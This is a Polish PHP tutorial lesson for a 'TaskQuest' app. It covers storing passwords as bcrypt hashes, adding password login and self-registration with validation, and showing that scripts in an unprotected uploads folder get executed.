<p class="wp-block-paragraph">Logowanie od Lekcji 14 jest demonstracyjne. Wystarczy znać login, a loginy są widoczne w rankingu. Tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> od Lekcji 17 ma kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code>, ale u wszystkich jest w niej <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>.</p>



<p class="wp-block-paragraph">Nazwa kolumny nie jest przypadkowa. <strong>Nie zapisujemy hasła, tylko jego skrót (hash).</strong> Gdyby baza wyciekła (kopia zapasowa, błąd, nieuczciwy administrator), atakujący dostałby gotowe hasła. Ludzie często używają jednego hasła w wielu serwisach, więc wyciek z TaskQuest otworzyłby też ich pocztę.</p>



<p class="wp-block-paragraph">Hash to wynik funkcji jednokierunkowej. Z hasła łatwo policzyć hash, ale z hasha nie da się odtworzyć hasła. Przy logowaniu nie odszyfrowujemy niczego. Liczymy hash z wpisanego hasła i porównujemy.</p>



<h2 class="wp-block-heading">6.2 Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, pod kodem z sekcji 3, dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo '&lt;h2&gt;Hasła&lt;/h2&gt;';

echo '&lt;p&gt;md5: ' . md5('haslo123') . '&lt;/p&gt;';
echo '&lt;p&gt;md5: ' . md5('haslo123') . '&lt;/p&gt;';

echo '&lt;p&gt;password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '&lt;/p&gt;';
echo '&lt;p&gt;password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '&lt;/p&gt;';</code></pre>



<p class="wp-block-paragraph">Porównaj wyniki:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code></strong> daje za każdym razem ten sam skrót. Te same hasła w bazie mają więc te same skróty. Popularne hasła mają gotowe skróty w publicznych tabelach, a do tego md5 liczy się bardzo szybko: komputer sprawdza miliony prób na sekundę. <code class="prettyprint lang-sql" style="font-size: 0.85em;">md5()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">sha1()</code> nie nadają się do haseł.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code></strong> daje za każdym razem <strong>inny</strong> wynik. Do hasła dokleja losową <strong>sól</strong> (<em>salt</em>), więc dwa identyczne hasła mają różne hashe. Algorytm jest też celowo wolny.</li>
</ul>



<p class="wp-block-paragraph">Budowa wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy
└┬┘└┬┘└─────────┬────────────┘└──────────────┬──────────────┘
 │  │           sól (22 znaki)          właściwy hash (31 znaków)
 │  koszt (10 = 2^10 powtórzeń; w PHP 8.4 domyślnie 12)
 algorytm (2y = bcrypt)</code></pre>



<p class="wp-block-paragraph">Wszystko, czego potrzeba do sprawdzenia hasła, jest zapisane w tym jednym tekście. Dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code> potrzebuje tylko dwóch rzeczy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify('wpisane hasło', $hashZBazy)   // true albo false</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PASSWORD_DEFAULT</code> oznacza „najlepszy algorytm, jaki ta wersja PHP uważa za domyślny”. W przyszłości może to być inny algorytm z dłuższym wynikiem. Dlatego kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(255)</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(60)</code>.</p>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> przy logowaniu i porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> z hashem z bazy — nigdy się nie zgodzi, bo sól jest za każdym razem inna. Do sprawdzania służy wyłącznie <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code> na haśle — spacja na początku albo końcu jest częścią hasła. Hasła nie czyścimy.</li>



<li>Hash wklejony w PHP w cudzysłowie <code class="prettyprint lang-sql" style="font-size: 0.85em;">"$2y$10$..."</code> — PHP potraktuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y</code> i dalsze fragmenty jak zmienne. Hash w kodzie PHP zapisujemy w apostrofach.</li>



<li>Hasło w <code class="prettyprint lang-sql" style="font-size: 0.85em;">value="..."</code> formularza, w sesji albo w komunikacie. Hasło żyje tylko w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo</code> w czasie jednego żądania.</li>
</ul>



<h2 class="wp-block-heading">6.3 SAMODZIELNIE — hashe kont testowych</h2>



<p class="wp-block-paragraph">Kama i Ola dostaną hasła:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Konto</th><th>Hasło</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W brudnopisie wygeneruj hash dla każdego hasła i wypisz go. Potem sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code> dla czterech przypadków:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Hasło</th><th>Hash</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td><td>hash Kamy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kamaquest26</code></td><td>hash Kamy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (wielkość liter ma znaczenie)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code></td><td>hash Oli</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OlaQuest26</code></td><td>hash Kamy</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Skopiuj oba hashe do notatnika. Będą potrzebne w kroku 6.4.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Wynik <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_hash()</code> zapisz w zmiennej (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$hashKamy</code>) i użyj jej w <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code>. Jeśli wygenerujesz hash drugi raz, będzie inny, ale nadal poprawny.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$hashKamy = password_hash('KamaQuest26', PASSWORD_DEFAULT);
$hashOli = password_hash('OlaQuest26', PASSWORD_DEFAULT);

echo '&lt;p&gt;Kama: ' . $hashKamy . '&lt;/p&gt;';
echo '&lt;p&gt;Ola: ' . $hashOli . '&lt;/p&gt;';

var_dump(password_verify('KamaQuest26', $hashKamy));
var_dump(password_verify('kamaquest26', $hashKamy));
var_dump(password_verify('OlaQuest26', $hashOli));
var_dump(password_verify('OlaQuest26', $hashKamy));</code></pre>
</details>



<h2 class="wp-block-heading">6.4 Włączamy hasła do TaskQuest</h2>



<h3 class="wp-block-heading">Krok 1 — baza</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy</code> zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash VARCHAR(255) NULL</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash VARCHAR(255) NOT NULL</code>. Od teraz nie ma kont bez hasła. Zaktualizuj komentarz przy kolumnie.</li>



<li>Polecenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy</code> zastąp wersją, która <strong>wymienia kolumny</strong> i podaje hashe z kroku 6.3:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 'TU_HASH_KAMY', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 'TU_HASH_OLI', 250, 0, NULL);</code></pre>



<p class="wp-block-paragraph">Kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> nie wymieniamy, więc dostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania</code> się nie zmienia (Kama nadal ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 1, Ola <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 2).</p>



<ol start="3" class="wp-block-list">
<li>Uruchom cały skrypt w phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → SQL) i opróżnij katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> (tylko pliki <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar_...</code>). W bazie avatary zniknęły, więc pliki zostałyby bez właściciela.</li>
</ol>



<p class="wp-block-paragraph">Sprawdzenie: w phpMyAdmin kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo_hash</code> ma u obu kont tekst zaczynający się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">$2y$</code> i długi na 60 znaków.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Na razie TaskQuest nadal wpuszcza bez hasła. Baza się zmieniła, ale <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> jeszcze nie.</p>
</blockquote>



<h3 class="wp-block-heading">Krok 2 — SAMODZIELNIE: walidacja danych logowania i rejestracji</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>:</p>



<ol class="wp-block-list">
<li><strong>Zmień</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania(string $login): array</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania(string $login, string $haslo): array</code>. Reguła loginu zostaje. Dochodzi jedna: puste hasło → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Podaj hasło.</code> Długości hasła przy logowaniu <strong>nie</strong> sprawdzamy. Gdyby gracz wpisał złe hasło, i tak dowie się o tym z bazy.</li>



<li><strong>Dopisz</strong> pod nią <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array</code>. Zwraca tablicę komunikatów, nie rzuca wyjątków, niczego nie wyświetla. Reguły i komunikaty:</li>
</ol>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pole</th><th>Warunek</th><th>Komunikat</th></tr></thead><tbody><tr><td>login</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td><td>ten sam co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></td></tr><tr><td>imię</td><td>puste</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię jest wymagane.</code></td></tr><tr><td>imię</td><td>(tylko gdy niepuste) dłuższe niż 30 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię może mieć najwyżej 30 znaków.</code></td></tr><tr><td>hasło</td><td>krótsze niż 8 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Hasło musi mieć co najmniej 8 znaków.</code></td></tr><tr><td>hasło</td><td>(tylko gdy długość jest dobra) różne od powtórzonego</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Hasła nie są takie same.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Reguły imienia znasz z Lekcji 14. Wtedy były w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>, a w L18 z niej zniknęły.</p>



<p class="wp-block-paragraph">Testy (w brudnopisie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_tekstowe.php</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Wywołanie</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania('Kama_2026', '')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">['Podaj hasło.']</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania('Kama_2026', 'cokolwiek')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji('Ka', '', 'krotkie', 'krotkie')</code></td><td>3 komunikaty: login, imię wymagane, hasło za krótkie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'dluzszehaslo', 'dluzszeHaslo')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">['Hasła nie są takie same.']</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji('Nowy_Gracz', 'Ola', 'zażółćgę', 'zażółćgę')</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> (8 znaków — <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_strlen</code>)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>.</p>



<h3 class="wp-block-heading">Krok 3 — funkcje bazy</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> dopisz na końcu dwie funkcje (nagłówek pliku: „(Lekcje 18–22)”):</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?</code>. Zwraca wiersz <code class="prettyprint lang-sql" style="font-size: 0.85em;">['id' =&gt; ..., 'haslo_hash' =&gt; ...]</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, gdy takiego loginu nie ma.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> loginu, imienia i hasha (pozostałe kolumny dostają wartości domyślne). Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nowego użytkownika.</li>
</ol>



<p class="wp-block-paragraph">Obie piszesz według wzorów z L18 i L19 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code>).</p>



<p class="wp-block-paragraph"><strong>Dlaczego nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>?</strong> Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> nie ma i nie będzie miał hasha. Obiekt trafia na każdą stronę, a hash jest potrzebny tylko w jednym miejscu, przy logowaniu. Dlatego hash czyta jedna funkcja i tylko ona (reguła z L18: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> wymieniamy kolumny, nigdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">*</code>).</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> zostaje. Użyjesz jej przy rejestracji.</p>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>.</p>



<h3 class="wp-block-heading">Krok 4 — logowanie z hasłem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>)</h3>



<p class="wp-block-paragraph">Zmiany w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>:</p>



<ol class="wp-block-list">
<li><strong>Formularz:</strong> pod polem loginu nowe pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="password" id="haslo" name="haslo" required&gt;</code> z etykietą „Hasło”. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>: hasła nie odsyłamy do przeglądarki nawet po błędzie. Do formularza dochodzi ukryte pole z tokenem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$tokenCsrf</code> przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony</code>).</li>



<li><strong>Tekst:</strong> zdanie „Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.” usuwasz. Pod formularzem dochodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;Nie masz konta? &lt;a href="rejestracja.php"&gt;Załóż konto&lt;/a&gt;&lt;/p&gt;</code>.</li>



<li><strong>Odczyt:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">$haslo = $_POST['haslo'] ?? '';</code> — <strong>bez</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>.</li>



<li><strong>Token i walidacja:</strong> jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: zły token → komunikat, w przeciwnym razie <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania($login, $haslo)</code>.</li>



<li><strong>Sprawdzenie w bazie:</strong> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDaneLogowania()</code>. Jeśli wynik to <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> <strong>albo</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">password_verify()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> jeden wspólny komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowy login lub hasło.</code> W przeciwnym razie jak dotąd: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code> (teraz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$daneLogowania['id']</code>), komunikat, przekierowanie.</li>



<li><strong>Escapowanie:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code> loginu i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code> — jeśli nie zrobiłaś/zrobiłeś tego w sekcji 4.</li>
</ol>



<p class="wp-block-paragraph"><strong>Dlaczego jeden komunikat?</strong> Do tej pory TaskQuest mówił „Nie ma użytkownika o takim loginie.”. To podpowiedź dla atakującego: wiadomo, które loginy istnieją, więc wystarczy zgadywać tylko hasło. Komunikat „Nieprawidłowy login lub hasło.” nie zdradza, która część się nie zgadza.</p>



<p class="wp-block-paragraph">Zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> z L18 znika, jej miejsce zajmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$daneLogowania</code>.</p>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (pełny plik).</p>



<p class="wp-block-paragraph">Sprawdzenie:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Login</th><th>Hasło</th><th>Wynik</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td><td>lista zadań Kamy</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kamaquest26</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowy login lub hasło.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nikt_Taki</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">KamaQuest26</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nieprawidłowy login lub hasło.</code> (ten sam komunikat!)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td>(puste — usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> w narzędziach przeglądarki)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Podaj hasło.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">cokolwiek</code></td><td>komunikat o formacie loginu</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">7. Kolejne zadanie — rejestracja</h1>



<p class="wp-block-paragraph">Teraz połączysz wszystko z tej lekcji w jednym nowym pliku. Nowe konta mogą dziś powstać tylko w phpMyAdmin. Gracz musi móc założyć konto sam.</p>



<h2 class="wp-block-heading">SAMODZIELNIE</h2>



<p class="wp-block-paragraph">Utwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> według schematu strony z formularzem (L13), wzorując się na nowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>:</p>



<ol class="wp-block-list">
<li>Strona <strong>tylko dla niezalogowanych.</strong> Zalogowany gracz jest przekierowany na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>).</li>



<li>Formularz POST z tokenem i czterema polami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="20"</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="30"</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">haslo</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">powtorzone_haslo</code> (oba <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="password"</code>). Wszystkie z etykietą i <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>. Formularz zachowuje po błędzie login i imię (escapowane!), hasła nie.</li>



<li>Po wysłaniu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code> na loginie i imieniu, hasła bez zmian → zły token albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneRejestracji()</code> → jeśli brak błędów:
<ul class="wp-block-list">
<li>login zajęty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> nie zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>) → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ten login jest już zajęty.</code>,</li>



<li>w przeciwnym razie <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajUzytkownika()</code> z hashem hasła, a potem <strong>od razu zalogowanie</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>, komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Konto zostało założone. Witaj w TaskQuest!</code>, przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ul>
</li>



<li>Awaria bazy: ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="blad"&gt;Nie udało się założyć konta: ...&lt;/p&gt;</code>.</li>



<li>Tytuł strony: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Rejestracja — TaskQuest</code>. Pod formularzem: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;Masz już konto? &lt;a href="zaloguj.php"&gt;Zaloguj się&lt;/a&gt;&lt;/p&gt;</code>.</li>
</ol>



<p class="wp-block-paragraph">Efekt: nowe konto pojawia się w phpMyAdmin z hashem, 0 XP, serią 0 i bez avatara. Gracz od razu widzi swoją pustą listę zadań i kółko z pierwszą literą imienia.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Zajętość loginu sprawdzasz w tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, w którym potem zapisujesz, bo oba kroki potrzebują połączenia. Pamiętaj, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> w bazie nie rozróżnia wielkości liter (L17). Login <code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code> też jest zajęty, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> porównuje tak samo.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $polaczenie = polaczZBaza();

    if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
        $bledy&#91;] = 'Ten login jest już zajęty.';
    } else {
        $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash(...));

        // zalogowanie jak w zaloguj.php
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph">Dlaczego nie zapisać po prostu i poczekać, aż <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> zgłosi błąd? Można, ale wtedy gracz zobaczy komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> („Duplicate entry&#8230;”) w ramce awarii zamiast czytelnego zdania. <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> zostaje jako ostatnia linia obrony.</p>
</details>



<p class="wp-block-paragraph"><strong>ROZWIĄZANIE:</strong> Sekcja 11, <code class="prettyprint lang-sql" style="font-size: 0.85em;">rejestracja.php</code> (pełny plik).</p>



<h1 class="wp-block-heading">8. Katalog avatarów pod ochroną serwera</h1>



<p class="wp-block-paragraph">W Lekcji 21 katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> chroniła tylko walidacja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code>. Sprawdźmy, co by było, gdyby do tego katalogu trafił plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code>.</p>



<ol class="wp-block-list">
<li><p>Utwórz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code> plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">test.php</code>:</p><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php<br />echo 'Ten skrypt został wykonany!';<br /></code></li>



<li>Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/uploads/avatary/test.php</code>. Serwer <strong>wykonał</strong> skrypt. Gdyby ktoś podrzucił tu swój skrypt, mógłby czytać pliki projektu (w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code> z hasłem do bazy), zmieniać je i usuwać.<br /></li>



<li>Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/uploads/avatary/</code>. Apache pokazuje listę wszystkich plików w katalogu, czyli avatary wszystkich graczy.<br /></li>
</ol>



